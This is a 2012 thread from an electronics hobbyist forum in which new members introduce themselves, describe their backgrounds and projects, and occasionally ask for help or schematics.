Afternoon chaps!

I'm Dave from Sheffield, England. Fairly recent EE graduate. I'm a patent research engineer by day (yes, I know. I'm sorry!) but when I'm not working for the dark side, I'm mostly messing around with cars in some way. I don''t have the best "lab" equipment, but I get by.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on June 01, 2012, 05:58:55 pm
As long as you reject somebody trying to patent the wheel............ again!
Title: Re: New Member, Please introduce yourself
Post by: digsys on June 03, 2012, 11:49:16 am
Gidday, James here from Melbourne, Australia.
Doing R+D since the late 60s. Pretty much all fields over the years. Preferences are hardware design and firmware (machine code),
dun't like that fancy high level stuff .. like C or D or whatever it's called :-) .. Also do a lot of software, drivers, manufacture and
wash ducks part time. Nice to meechas
Title: Re: New Member, Please introduce yourself
Post by: vk6zgo on June 04, 2012, 03:11:48 am
Wash ducks?? ???
Title: Re: New Member, Please introduce yourself
Post by: Satchmoeddie on June 04, 2012, 09:57:53 pm
My name is Seth, I live in Phoenix Az, and was an industrial electrician, but do have an AA in EE. I am shy of my BS by some credits. I worked on lots of instrumentation, PLC, the usual 4-20 mA stuff and some fascinating older relay logic stuff in industries that still were using 25 cycle 2 phase power. I have worked on everything from data to cross country transmission lines and power generating stations. I am no EE, but I have been blackening outlets since age 7 with "experiments" and various projects. When I saw my friends father turn the Radio Shack 300 in 1 into 1 3000 in 1 by showing us stuff that was nowhere to be found in the instruction manual, I was hooked. This guy was an EE for Motorloa's GEG division. I will share what I know, and hope to gain some knowledge from the real EEs on this forum. I now build valve guitar amplifiers, effects for guitar, keyboard, bass, etc. I have finally delved into the DSP part of this now. I am cursing Nyquist, Fourier, tracking and timing errors for doing it too!
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Post by: WorldPowerLabs on June 06, 2012, 08:51:23 pm
Hi,

Ben from NJ here.  I'm an EE by training (BSEE, Univ. of Pittsburgh), and I've been interested in electronics since I was about 7 years old.  Most of my work has been in medical device design and repair, although now my work is more in what I'd have to categorize as consumer electronics.  It can be frustrating to deal with the throw-away mentality of consumer products when you've spent almost a decade designing high-reliability, highly-regulated and documented devices.  It's also "interesting" to go around with Chinese vendors who are completely bent on doing things their own (wrong) way!  I have also spent some time working in the automotive restoration / hot rod world.

That's about it...
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Post by: Janski on June 07, 2012, 01:11:24 pm
Hi everybody

I'm Jan, a Test Support and Diag. Technician working for a Contract Electronic Manufacturer in Central Scotland. I've over 35 years in the industry working mainly on telecomms products.
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Post by: KAlSi3O8 on June 09, 2012, 01:24:09 am
Hello everybody,

My name is Mike and I have been an electronics technician for a large equipment manufacturer in the Portland Oregon area for 30 years (recently voluntarily unemployed and looking for work). Stuff I worked on: Spectrum Analyzers, TDRs, Arbitrary Waveform Generators, Logic Analyzers, various TV test equipment. Mostly I did repair, test and calibration, but I also have done some support type jobs (software, ran an engineering lab for a bit, service technician work). Hobby electronics has really changed over the years and I am getting back into it. Dave hooked me with his teardown Tuesdays but am really interested in his new USB power supply too. I need to get my home lab fully equipped. It sound like you people are a great resource for my future projects, and hopefully I can contribute a little too.
Title: Re: New Member, Please introduce yourself
Post by: Trickett on June 09, 2012, 02:00:58 am
Hi all,

I'm Mike from Kingston, Ontario.  I'm currently in an Instrumentation Engineering Technology program in college, and working as a research assistant in the renewable energy field.  I got bitten by the electronics bug a few years back and have been soaking up as much knowledge as possible since then.  I'm currently playing around with the MSP430 series of micros, and I'm thinking of, at some point trying to make a PID speed controller out of general interest.
Title: Re: New Member, Please introduce yourself
Post by: neilrudden on June 14, 2012, 05:51:36 pm
HI,

I have been a lurker on the forum for a while and have enjoyed watching Dave's videos.

I am interested in micro controllers, energy management and automation.

I have worked in the Telecontrol/SCADA field for the last 15 years.

I am based in Cape Town, South Africa.

Chat soon

Neil

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Post by: anotherlin on June 19, 2012, 10:13:19 pm
Hi everyone,

I already started posting but I didn't introduced myself. Let me correct that.

So I am a hobbyist electronician. My 8 hours a day job is C++ development hence I have pretty extensive experience with computers. I work mostly on server development and system programming. I have no problem with assembly language and I've done some PIC programming for fun. I have a PICKit 3.

However, I am pretty much a noob regarding electronics. I do have some math and physics background from university, but not much else. So I'm currently reading a few books (sedra/smith, and agrawal/lang). It's actually fun to learn new stuffs :)

Moreover, it's really funny to come from the "virtual world" where 1+1=2 exactly, to the "real world" where resistors are only within 1% or caps within 10%, and all readings have a small percentage of error.

I hope that I can contribute and have fruitfull discussion with this forum :)

Best regards,
Title: Re: New Member, Please introduce yourself
Post by: PWood on June 22, 2012, 06:33:58 am
Hi everybody,
  I'm Peter, an EE student at the University of New Orleans.  I love getting to see how everything works, which is why engineering appeals to me.  I am someone who likes to take things apart (and wishes he liked putting things back together as much).  I am also a bike mechanic (it's easier to put it back together if they're paying you to do it!).
Title: Re: New Member, Please introduce yourself
Post by: Nimesh Silva on June 23, 2012, 06:38:30 am
Hi Dave and guys out there.

I'm Nimesh Silva from Sri Lanka. I'm currently working as an Asst. Engineer in electronics in company in sri lanka after completing my BSc.
I just joined the EEVBlog, but have been watching the "That Crazy Aussie's" youtube videos for a long time. And They are very interesting and found that very informative too.

Wish all the best and keep up the good work.  :)
Title: Re: New Member, Please introduce yourself
Post by: NeilR on June 23, 2012, 10:37:32 am
Hi,

I've been a reader and watcher of the forum for some time, a couple of years I would say.

Finding time to reply, with a busy work life is not always easy!  For this reason, and the reason below, my posts may likely be not as frequent as other users, but I hope you'll appreciate my contributions.

I am in the UK and work for a specialist T&M equipment distributor so Dave has done many videos of equipment that we either supply, have supplied or that I see regularly.

I've been in the Electronics industry for 17 years, with the last 15 of those in Sales & Marketing, of either T&M Equipment or Testing and Consulting Services.
Title: Re: New Member, Please introduce yourself
Post by: TradieTrev on June 23, 2012, 01:55:22 pm
G'day!

I'm a fellow Aussie electronics enthusiast and youtube partner. Nearly been about 2 years since I've subscribed Dave's vids. Thought I'd do the logical step & present myself here too ;)

My youtube vids have mostly been aimed for a good laugh, but I feel it's time for a change and I hope to post more technical things.

Don't be shy to say G'day, I like to think I'm very active on all social media platforms. Just not google+ lulz

Cheers,
Trev
Title: Re: New Member, Please introduce yourself
Post by: KelleyCo on June 23, 2012, 04:36:17 pm
HiLo!

I'm Kelley from Aurora/Denver Colorado.  Trying to get into hobby robots to find a suitably interesting left brained activity...stumbled across Dave on YT. Extreme newbie, so be gentle.  :) I found that I enjoy watching EE videos...can't really explain it. I find them creative in a very structured, rule-based way.  For some reason, that appeals to me.  LOL

Have a lovely day.

Kell
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Post by: elektronicks on June 24, 2012, 08:52:21 am
Hello,

I'm Razvan from Romania and well.. i've been involved in analog circuitry for quite a while for the sole purpose of
understanding synthesizers. I compose electronic music in my free time and from time to time i take a bunch of
transistors and make them do something.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: BadQuantum13 on June 24, 2012, 11:55:49 am
Hi,

Completed newbie at 47ish, just interested in seeing how things work etc.  Always have questions, but rarely experiment ... I know Dave ... you learn best by doing ;-).  Not there yet.  No Qualifications, and apologies in advance for any "dumb" questions.

Oh yes .. am from the UK.


And I like that the answer to your maths question always seems to be the answer to .. Life the Universe and Everything.
Title: Re: New Member, Please introduce yourself
Post by: petemnu on June 25, 2012, 05:28:14 pm
hello all my name is pete
  ive been into ham radio for many years  and enjoy kit building ect
 electronics is a never ending learning curve always something new on the horizon
it will always be here to enjoy
Title: Re: New Member, Please introduce yourself
Post by: haggy38 on June 26, 2012, 04:42:38 am
Hola,

My name is Gustavo, I'm been looking Dave's videos since the beginning, I'm civil engineer, but I always like electronics, just taking apart every toy my parents gave me. Im trying to learn backwards, I bought all the lab equipment . Oscilloscopes, bench multimeters, power supplies, etc and have no idea how to use it, but willing to learn. I live in Bogota Colombia.

Regards,
Gustavo
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Post by: vk3pb on June 30, 2012, 03:19:45 am
Hi all

Peter, VK3PB from the vidcast 'Amateurlogic' just dropping by. Enjoy the show very much.

cheers Peter


Title: Re: New Member, Please introduce yourself
Post by: Pirate_Pete on July 01, 2012, 04:07:44 am
Hi All

Im Pete a spakie with 30 years experience & am looking for the diagram for an Electronics  Australia Dual Tracking Power Supply that I built at Tafe 25 years ago when I did electronics as an add on to  my trade.

After all these years the Positive side of the supply is at full supply voltage. The Negative side still tracks as it should.

There is a 1 ohm 5 watt resistor in the output side as part of the over current feed back that has failed on the positive rail that I have replaced but  the problem must be before the resistor & I need the diagram to get my rusty brain around electronics after too many years of not needing to use it. 
Title: Re: New Member, Please introduce yourself
Post by: Strada916 on July 01, 2012, 01:35:48 pm
G'Day My name is Nick. I live in Perth WA and have an education in Electronics, however I work in mining as a Geology Technician. See you around and I hope to make some contributions to the forum.

Strada916
Title: Re: New Member, Please introduce yourself
Post by: Strada916 on July 01, 2012, 01:40:47 pm
Hi All

Im Pete a spakie with 30 years experience & am looking for the diagram for an Electronics  Australia Dual Tracking Power Supply that I built at Tafe 25 years ago when I did electronics as an add on to  my trade.

After all these years the Positive side of the supply is at full supply voltage. The Negative side still tracks as it should.

There is a 1 ohm 5 watt resistor in the output side as part of the over current feed back that has failed on the positive rail that I have replaced but  the problem must be before the resistor & I need the diagram to get my rusty brain around electronics after too many years of not needing to use it.

If you email Silicon Chip they have all the EA back catalogue. Or you can vist your reference library and they should have a copy of the magazine under journals

S
Title: Re: New Member, Please introduce yourself
Post by: Fluxed Matter on July 02, 2012, 01:39:36 am
I just wanted to say Hi! to everyone. I have been here reading and lurking every since I discovered one of Dave’s videos. I love them, and have watched many of them, but still have many more to watch. I been saying to my wife “Don’t turn on, take it apart!” every time we purchase something new. She doesn’t understand, but I love her anyways!  ;D So I thought it was time I joined the forum and refresh my skills and hopefully even learn more from the good folks here and maybe contribute someday.

About me, I work in the Capital of Silicon Valley, or in of its suburbs, and have just renewed my interest in hobby electronics. I have a degree in Electronic Engineering Technology and work now as an Equipment Engineer. I get very little chance now to do any serious electronics work these days other than solder out and in a new cap or two. Most of the time, we just swap the board out after we troubleshoot the problem because machine downtime is critical when working in a fab. So back to my hobby now, I am currently working on a couple of projects. One is a variation of Dave’s bench PSU and the other is his current dummy load. I have been working on these since I watched all the videos about the build on the blog here, and I am now trying to gather the parts for each project. At the same time I have been try to gather the minimum equipment necessary to pursue my hobby. Recently I pick up a scope and bench supply both used really cheap, the scope was $30 and the supply cost me $75, tax free and you gotta love that here in the States especially Cali. 8) I guess I can explain more about these in another post and also my attempts to put together a small workbench in the corner of the garage, and with pictures too. Type at you later.

Have a great day!
Fluxed Matter
Title: Re: New Member, Please introduce yourself
Post by: ItchyTasty42 on July 02, 2012, 03:41:15 pm
Hey all, my name is Tom, and I been into electronics and electricity since I was about 11(28 now). 
I did an electronics college course many years ago when I was about 17-18 can't remember if it was btech or GNVQ; as it axed at the last minute.
I learnt a bit from that, but know much more from the electronics books I bought myself though.
Title: Re: New Member, Please introduce yourself
Post by: Banjax on July 04, 2012, 01:26:41 am
Hi guys, and girls!
I'm from Peterborough in the U.K.
Aged 45, I'm currently unemployed but was an alarm and CCTV engineer for past 18 years.
Previous to that an electronics engineer and semi-skilled coil winder/transformer builder.

Hope to meet you all on here soon.
All the best to you guys.

Ian.
Title: Re: New Member, Please introduce yourself
Post by: Simman on July 04, 2012, 04:16:43 am
Hello, I'm Daniel and I'm 19.

After watching bunches of Videos on the Arduino platform I decided to buy one. Eventually
I stumbled upon Daves vids and have decided to pick up Electronics. Oh man...

I have absolutely no background in this stuff at all ;D. Most I had ever done was see my Cousins
soldering iron (It was cold :P) when I was like 11...hadn't a clue what it was for.

I've manged to build a Digital thermometer so far on a breadboard (really just followed a schematic
and removed the pot for contrast..I think its unnecessary really..) and am hoping to make myself
a bench Power supply once my Multimeter comes in. Just a little worried about playing with Mains
(since I was always taught it was dangerous).

~Simman
Title: Re: New Member, Please introduce yourself
Post by: Uncle Vernon on July 04, 2012, 04:48:01 am
Just a little worried about playing with Mains
(since I was always taught it was dangerous).

~Simman

It is, but then so is driving a car. Get either wrong and friends and family get to run up their account at the florist. But with the right advice and assistance both can be done safely and in most cases legally. Welcome to the world of electronics.
Title: Re: New Member, Please introduce yourself
Post by: ninjasoar on July 04, 2012, 07:54:02 pm
Hi all,

Another new undergrad goes into the eevblog bag. I am studying electronics in Southampton,UK and am basically from India. I enjoy building stuff, I also like sharing it with others and checking out their stuff and I feel these threads are the best place to do it.

My recent project was this Portable Digital Oscilloscope: Portoscope, kind of like DSO nano, but I tried to improve on it and some others. You can view source, schematic, PCB and some information on http://sonirajan.com/tag/portoscope/ (http://sonirajan.com/tag/portoscope/)

-ninjasoar: Rajan Soni, get it??
Title: Re: New Member, Please introduce yourself
Post by: OndraSter on July 05, 2012, 07:42:30 pm
Hello fellow designers, engineers, electricians, and the rest of you too!

I am Andrew and I come from Czech Republic (that little country which is listed as "CZECHOSLOVAKIA" in some list here! :o). I am done with middle (high) school, now going to university, my field is "Computer Engineering", which should target stuff as FPGA, micros, ...

So far my projects ended up usually only on breadboards, some prototypes on home made PCBs (single sided only) and the last project was bigger - 32x48 bi-color LED field communicating through USB with PC. (Atmega in that.)

I am an AVR8 guy, fan of AT(X)mega series, my next project involves one of them (namely ATXmega256A3U).

Oh and "what I don't write or design I don't trust". Even if it was supposed to cost me more than using already made solution! Where is the learning process in that! ;D
Title: Re: New Member, Please introduce yourself
Post by: HardBoot on July 07, 2012, 04:44:29 am
Hi bros, I'm a guy who likes tinkering and making random gadgets of questionable usefulness.
I don't like breadboards or board soldering much, I like wire wrap and dead bug.
I've used micros and fpga a bit, but mostly play with discreet.
Title: Re: New Member, Please introduce yourself
Post by: rhb on July 07, 2012, 11:54:30 pm
My name is Reg.  I'm getting back to playing w/ electronics, radio in particular, after a 15 year hiatus.  Professional background is geophysics, so strong DSP and computer skills.  Electronics is all self taught, but I've got plenty of math & physics that crosses over. I've also got a strong appreciation of how and why lumped constant approximations break down ;-)
Title: Re: New Member, Please introduce yourself
Post by: dbinokc on July 08, 2012, 01:53:25 pm
Greetings all. I have been a long time viewer of the EEVBlog on youtube. I have been an electronics hobbyist since I was a teenager. I had a choice of going physics or EE, but chose physics. My day job is a programmer(so I obviously was not a very good physicist LOL )

I tinker around in a wide variety of electronics and mechanical projects.
Recent activity has been in 3D printing, getting started in metalcasting and
experimenting with the RTLSDR which is a software defined radio.
Title: Re: New Member, Please introduce yourself
Post by: JuiceKing on July 10, 2012, 02:06:23 am
Hi, my name is Ken. I'm been in the software business for 25+ years and have a fair amount of software engineering experience including embedded system work and digital design. I've been an electronics hobbyist since teenage years, and am getting back into it now with a desire and determination to understand well what has too long been  too vague an idea of exactly what goes on in analog circuits. This is a great place to learn and share experience.
Title: Re: New Member, Please introduce yourself
Post by: trahloc on July 12, 2012, 05:19:05 am
Dario from California, computer guy who decided to start playing with Arduinos and ended up running across Dave's blog.
Title: Re: New Member, Please introduce yourself
Post by: Smilinvamp on July 13, 2012, 07:47:58 pm
ME?

We'll I'm Richard from Canada... I've been working for about 15 years as an Electronics Technologist.
How've you been?
Title: Re: New Member, Please introduce yourself
Post by: mazza85 on July 14, 2012, 12:27:20 pm
Hello guys,
I'm Matteo from Italy. I have an high school degree in electronics and a bachelor's in mechanical engineering. After buying an arduino board and tinkering with it, my interest in electronic. I came across this great forum after watching some of Dave's  amazing videos.
Title: Re: New Member, Please introduce yourself
Post by: kmmankad on July 14, 2012, 01:46:04 pm
I'm Kartik,currently studying Electronics Engineering in BITS Pilani University,India.My projects so far have been on the microcontroller side of things and I favor Cypress Semiconductors PSoC3/5 chips for the same.I blog at http://kmmankad.blogspot.com (http://kmmankad.blogspot.com) and maintain my code at https://github.com/kmmankad (https://github.com/kmmankad) .

My recent most project is a internet connected temperature sensor based on the PSoC3 and ENC28J60,for which I wrote the network stack on my own(with help from online sources and RFCs etc. of course.) and designed the PSoC3 PCB (my first :) ),which the great folks at dangerousprototypes graciously offered to get fabricated for me.
Link to a picture of the finished product - https://lh5.googleusercontent.com/-yVUwTxl_53Y/T_7YtgEsRoI/AAAAAAAAAr8/UF3d4vqOyGk/s800/EzPSoC3_Webbie.jpg (https://lh5.googleusercontent.com/-yVUwTxl_53Y/T_7YtgEsRoI/AAAAAAAAAr8/UF3d4vqOyGk/s800/EzPSoC3_Webbie.jpg)
Title: Re: New Member, Please introduce yourself
Post by: kgavionics on July 15, 2012, 12:25:01 am
Hi my name is kais and i'm student in avionics in Montreal.I love electronics and aviation of course.I'm interested in all kind how electronic devices works...lol


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Title: Re: New Member, Please introduce yourself
Post by: Ketturi on July 15, 2012, 09:43:16 am
Hello, my name is Ketturi or Henri and I'm self learned electronics enthusiast/hobbyist from Finland. I am studying in final year at high school/secondary school. I'm interested in electronic design and repairing, from new hi-tech technology to old vintage tube electronics. Recently i have been playing with AVRs and older microprocessors and prototyping my nixie tube clock combining old and new technology.

I have blog (http://ketturi.kapsi.fi) but it is Finnish only, and even tough I am going to translate it, it can take a long time. I also have gallery (http://translate.google.com/translate?hl=fi&sl=fi&tl=en&u=http%3A%2F%2Fketturi.kapsi.fi%2FGalleria) which is Finnish only too, but google translate can almost make it readable.  I am also photographer and i have pictures at deviantart (http://ketturi.deviantart.com/gallery/).

Well, I hope I'm welcome.
Title: Re: New Member, Please introduce yourself
Post by: jnorth on July 16, 2012, 07:05:46 pm
Hey everyone, I'm James. I live in the UK and work at a small electronics design company as a software engineer.

Title: Re: New Member, Please introduce yourself
Post by: box_of_rain_s4 on July 16, 2012, 10:34:18 pm
Greetings from the U.S.  I have been following Dave for a long time, and a huge fan of his and the community.  I am a maintenance tech. in a small factory.  I have been studying electronics and software design for 5 years or so now. I design industrial automation controls as a hobby. I also build large scale ROV's.. Thanks Dave! thanks everyone!
Title: Re: New Member, Please introduce yourself
Post by: timcki on July 17, 2012, 12:47:20 am
I am Tim.
I am a geek.
I like messing with stuff.
When I was young I would rather play baseball than figure out how to learn ohms law
40 something years later I have become a nerd and I want to take everything apart and figure it out....
I play with arduinos but I can't code worth a sh**.....
Live in U.S.A
been reading the forums for a while trying to learn but I quickly get over whelmed,.....  so then I go outside and blow up capacitors.....
Title: Re: New Member, Please introduce yourself
Post by: jayris on July 17, 2012, 11:22:57 pm
good day im jayson from philippines,,,,,working in electronic company :)
Title: Re: New Member, Please introduce yourself
Post by: Jimmy the Squid on July 18, 2012, 03:39:26 am
Hello from California, USA. I'm a complete and utter newb when it comes to electronics. I am a jack of all trades though. Educated as a forester, with career in Government Finance. Though I have been a long-time computer geek. I stumbled across Dave's soldering tutorials on YouTube a few months back, and have worked my way through just about all of the blog videos since then. Once I caught up to the current Vblogs, I decided it was time to join the forums. Most of this is way over my head, but total immerison is a proven learning technique... at least until my wife finds out that the funny smell was a smoking inductor on my breadboard, and not the dog.
Title: Re: New Member, Please introduce yourself
Post by: Physics_Dude on July 18, 2012, 09:36:42 am
Hello sub-world, greetings from the Sunshine State!
I'm just a dyslexic IT and EE nerd among other things.
Title: Re: New Member, Please introduce yourself
Post by: amvakar on July 18, 2012, 12:04:44 pm
Hello, I am Ryan, currently studying electrical and computer engineering at the University of Missouri. While there I've focused mostly on microcontrollers and embedded systems. I also tend to work on audio-related projects, as I enjoy both listening to and recording music without spending an exorbitant amount of money on things I'm sure don't work.
Title: Re: New Member, Please introduce yourself
Post by: Classicmacintosh on July 18, 2012, 10:41:18 pm
G'day folks. I am Ed from sunny Blackpool in the UK. i found out about the EEVblog from MikesElectricStuff and have been a big fan ever since. Randomly decided to hop along here and see what it's like. So far I've been tinkering with the wiki a bit cleaning up the most prominent spam pages (sorry for the log spam, Dave!) and really like what I see here.

I probably should mention that I am a major computer nerd - for goodness' sake I run my own blinking Wndows Server domain at home serving about 10 PCs which were rescued from the landfill.
Anyways, thanks for reading my post and I look forward to being a part of these forums.
Title: Re: New Member, Please introduce yourself
Post by: Hrvoje-CRO on July 19, 2012, 06:29:32 pm
Hello,

I am Hrvoje from Croatia. Electronics is my interest from my very early days. My formal education is PC technitian and a lot's non-formal education and still going further in education.  ;)
Title: Re: New Member, Please introduce yourself
Post by: Slothie on July 21, 2012, 07:34:52 am
Hello I'm Slothie, also known as Ian Rolfe :)
I'm a 49 year old computer programmer from Berkshire in the UK, I've been dabbling in electronics since the age of 10 when I helped my dad build ham radio gear. I got into computers at school and followed that trail, but sometimes I wished I'd done engineering instead. So I've been playing with electronics in my spare time to make up!

I'm good at starting projects but not so good at finishing them, So my priority at the moment is to finish a few of them off! To this end I'm working on a website to document what I am doing so hopefully people will goad me to keep on!

I've been enjoying the eevblog for some time and its nice to see I'm not the only one who's not so good at finishing projects!
Title: Re: New Member, Please introduce yourself
Post by: chscholz on July 22, 2012, 04:56:41 pm
Quit my job with LeCroy last week and will start working for Rohde & Schwarz out of the Dallas office.
My new job assignment will be related to Rohde & Schwarz's vector network analyzers (VNAs).


Chris



Hello everybody,

I just run into this website and want to take the opportunity to introduce myself.
My name is Chris Scholz, I work as Field Applications Engineer for a large US-based manufacturer of oscilloscopes and protocol analyzers.
Glad to be here , please don't hesitate to contact me for any questions related to electronic time-domain test and measurement issues.

Chris
Title: Re: New Member, Please introduce yourself
Post by: TTSDA on July 24, 2012, 10:19:24 pm
Hi!

My name is Tiago and I'm a 17 year old student from Portugal.
I have been interested in electronics and how stuff worked since I can remember myself.
I stumbled upon the EEVBlog while looking for multimeter reviews :>
Title: Re: New Member, Please introduce yourself
Post by: plazma on July 26, 2012, 07:57:59 pm
Hello,

I'm an electrical engineering student/design engineer from Finland. I'm finalizing my studies (thesis almost done) but have worked full time for many years already.

BTW: there is something wrong in the registering page.
There is a question "What is 84 divided by 2?:" at the end.
It did not accept my correct answer "the answer to life the universe and everything".

PS: The same answer was also asked when posting this message and it did not accept the correct answer either. Maybe Dave could fix it.

PPS: my latest toy https://www.dropbox.com/s/c741jrn9tqwyunh/4403.JPG (https://www.dropbox.com/s/c741jrn9tqwyunh/4403.JPG)
Title: Re: New Member, Please introduce yourself
Post by: hydroman1976 on July 27, 2012, 11:23:51 pm
Hello everyone. I am a beginner interested in learning electronics. I have plenty of ideas and have experimented a little with bridge rectifiers, capacitors and other things. My main interest is in converting water into fuel(water fuel) which I have done for several years. I have some questions I'd like to discuss that I will post on another area.
hydroman1976
Title: Re: New Member, Please introduce yourself
Post by: DRT on July 29, 2012, 02:20:02 pm
Hi All,

I've been an embedded designer for the last 20 years and have been working for one of the 'Silicon Fen' engineering consultancies in Cambridge for the last 13 years. I started at an early age - allegedly my first words were 'light on, light off'! As a teenager, before we could afford a home computer, I would camp in high-street shops and hack Z80 assembler on Sinclair home computers. In my professional career, I've been responsible for the software, and sometimes the hardware, for a number of consumer and industrial products. Unfortunately NDAs prevent me naming names.

Recently I've been more involved in project leading and management stuff and my 'hands on' work has declined, so I've resurrected electronics as a hobby.

David
Title: Re: New Member, Please introduce yourself
Post by: GnatGoSplat on July 30, 2012, 02:22:04 pm
I'm a computer programmer for the local state university.  I don't deal with the inner-workings of hardware in my professional life, but I have loved electronics and gadgets for as long as I can remember.  I still remember begging my mom to buy me a Radio Shack autoranging digital multimeter in 4th or 5th grade and then being overjoyed when I found the exact one in my stocking on Christmas morning.  I recently got the "bug" to upgrade all my test equipment and started researching stuff on Google which is how I found this forum.
Title: Re: New Member, Please introduce yourself
Post by: bookaboo on July 31, 2012, 10:01:44 pm
Hi,

I'm a professional electronics engineer. I do PCB design and PIC programming for some niche industrial applications.
I run my own business which unfortunately takes me away from the test bench and into horrible things like accounts and marketing (ugggh).

Been watching Dave on youtube recently and looking forward to checking out the forums here :)
Title: Re: New Member, Please introduce yourself
Post by: virtual_m on August 02, 2012, 01:34:01 am
Hi to all.

I´m student of electronics engineering (applied electronic) at University of Montenegro - Faculty for electrical engineering. Currently I´m working on my premaster degree project (and something beside that - just for fun :) ).
Recently I started to watch Dave´s videos on YT.. and now.. I´m here..


PS. Videos are great. I enjoy to watch them.. Thumbs up :)

(sorry for my english... it will be better :) )

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: lapm on August 05, 2012, 08:32:03 pm
Hello everyone. I live in Finland, am 36 years of age...

Im been away from electronics for decade about... And finally desided to come back to hobby that used to bring great enjoyment for me. Alot has changed during this time. Leadfree soldering, etc...

Im not engineer, nor do i work on anything related to engineering or electronics as dayjob. Seriously i work in production line in beer manufacturing. Not much tinkering nor engineering there.

i got wife, dog and three cats. being doing various things during my lifetime, from trying to learn programming and electronics to metalworking..

Anyways, wanted to say hi to everyone.

PS. dave, love those videos of yours.
Title: Re: New Member, Please introduce yourself
Post by: Fahad Akhtar on August 06, 2012, 10:57:35 am
Hi guys!
My question is not precisely related to the forum, which is, what would you guys suggest as a final year project to an Electrical Power Engineering student? I need as many ideas as possible.
Title: Re: New Member, Please introduce yourself
Post by: Fahad Akhtar on August 06, 2012, 11:00:22 am
Hi guys!
My question is not precisely related to the forum, which is, what would you guys suggest as a final year project to an Electrical Power Engineering student? I need as many ideas as possible
Title: Re: New Member, Please introduce yourself
Post by: JBartley on August 06, 2012, 04:36:20 pm
Hey everyone,
I am Justin from The US.  I am an electrical Engineer and have been following EEVblog from the beginning, I have just got around to signing up for the forums and I am looking forward to finally interacting with the growing community.
Title: Re: New Member, Please introduce yourself
Post by: Bluespark on August 06, 2012, 11:19:06 pm
Hi all
great forum,just looking around.

dave keep up the great video blogs.

Alan. from liverpool england.

dave i have a cousin in pymble sydney. are you anywhere near here?

regards.
Title: Re: New Member, Please introduce yourself
Post by: htassell on August 08, 2012, 01:50:16 am
Hi everyone,

I'm a geophysicist based in Tasmania. I'm the director of a geophysical consultancy firm but also dabble in electronics engineering. Most of my work has mainly been based around high precision GPS and inertial positioning, seismic acquisition hardware and heavy lift UAV platforms.

Dave's blog and the resource here on the forums have been of great help, and entertainment to me and I look forward to making an active contribution myself.

Cheers,

Hugh
Title: Re: New Member, Please introduce yourself
Post by: grantw34 on August 10, 2012, 07:25:00 am
Hi all
I joined this forum for the simple reason is I am looking for some one that  can  design a reasonably basic 12v circuit for me :)
So if any one is interested in assisting please let me know.
Thanks all
Grant
Title: Re: New Member, Please introduce yourself
Post by: electrode on August 10, 2012, 07:28:28 am
We can certainly help (assuming it's not some crazy idea to get rich quickly). Post a new thread about it and paste the link here.
Title: Re: New Member, Please introduce yourself
Post by: mickpah on August 12, 2012, 11:13:32 am
Hi Mike here
started my electrical  apprenticeship at about 10, maybe earlier ( was always at dad's side in the shed). He had a massive stack of Electronic Australia magazines (must have gone back to the 60's as I can remember prices in pounds). Think that's what me going. I decided I want to understand the diagrams with the squiggly lines !

Eventually did a real apprenticeship as an electrical fitter on a mine, and then industrial electronics certificate. Then a few years as an Electronic tech at a hospital (call them biomedical engineers now). Then off into the world of medical imaging (CT, MRI, Xray Nuclear Med & IT ) as a service engineer for 12.
Along the way picked up a degree in computing and went to the darkside for a time ( sales and marketing,  hated it. )
Now working in IT , a job that has no title ( maybe it's Just Do It & Make it WORK !) & back to tinkering with micro controllers at home.

look forward to a chat here
Title: Re: New Member, Please introduce yourself
Post by: cloudscapes on August 12, 2012, 05:08:27 pm
New guy here,

Not an EE student or anything, not even that great at theory or math. Just a geek who started dabbling with DIY guitar pedals and electronic instruments back in 2007. It's a semi-serious thing now, where I'm actually considering making it my bread-earner! They've complexified quite a bit by now, using 8bit micros and recently PIC32s! Still learning all the while.

I've been watching the blog since episode 10 or thereabouts! ;D I don't really have great gear. A cheap Owon scope, an okay UNI-T meter, a WES51 iron, a few other things. I use Diptrace for layouts. Used to etch my own boards. Can't be bothered anymore unless I'm in a huge hurry. Some recent things I've made:

http://nearworlds.org/stuff/nautilus_pots.jpg (http://nearworlds.org/stuff/nautilus_pots.jpg)
http://nearworlds.org/stuff/sneak_peek_guts.jpg (http://nearworlds.org/stuff/sneak_peek_guts.jpg)
http://farm8.staticflickr.com/7039/6919415825_4edeca96f9_b.jpg (http://farm8.staticflickr.com/7039/6919415825_4edeca96f9_b.jpg)
http://farm8.staticflickr.com/7068/6878939753_27cd2ff139_o.jpg (http://farm8.staticflickr.com/7068/6878939753_27cd2ff139_o.jpg)

My blog
http://www.soniccrayonfx.com (http://www.soniccrayonfx.com)
Title: Re: New Member, Please introduce yourself
Post by: adauphin on August 13, 2012, 01:04:34 am
Not an EE here but I play one on TV.... ;D  Been a big DIYer forever and am far more mechanically inclined than electronically. Always had the desire to get into the electronic field but life has taken me elsewhere.....never too late though.

Having grown up with using film cameras, I feel slightly ahead of the curve with the newest crop of digital cameras....mainly for light metering. This just goes to show that you really need to undestand the basics for what you are working on to be at the top of your game. Now that I am tinkering around with old amplifiers and such, I want to get my feet wet with an analog oscilloscope to mainly understand the "roots" of the game.

I'm the type of person that needs to tear everything apart just to see how it works, hard for me to say "I can't figure it out"...just need more time to that's all.


My son is turning 4 next month and when he gets older, I want him to be able to diagnose and repair the things I do so he can have a good idea of what he wants to be, as well as just being handy. The more he gets his hands dirty the easier of a decision it will be for him to make for his career. My daughter is 6 and likes the things I do as well but isn't as interested in the "hands on" as my son...just part of the gene I suppose.  ;)

Glad to be a part of the community.

Doug
Title: Re: New Member, Please introduce yourself
Post by: ratdude747 on August 14, 2012, 03:17:52 am
Ratdude747 here.

I am currently both an electronics enthusiast and a sophomore at Purdue Collge of technolgy (New Albany) as a EET student.

I've been mucking with electronics since I was in 4th grade (mom bought me a radio shack sensorlab kit), been soldering sice I was a fresman in HS (Learned on an FIRST FRC team).

Most of my past "experiments" are documented over at Badcaps.net (I'm a Mod there). However, more and more of them would be more along the lines of this forum  and thus why I finally joined.

My other current hobbies are bicycles and FIRST robotics (currently an Event volunteer and a technical adviser of sorts).
Title: Re: New Member, Please introduce yourself
Post by: FenderBender on August 14, 2012, 03:19:35 am
Hey ratdude. I remember you from Badcaps. I think my username was TheLaw. Wasn't too active but I did have a bunch of posts.

Welcome aboard
Title: Re: New Member, Please introduce yourself
Post by: WhatTheFlux on August 15, 2012, 03:11:39 am
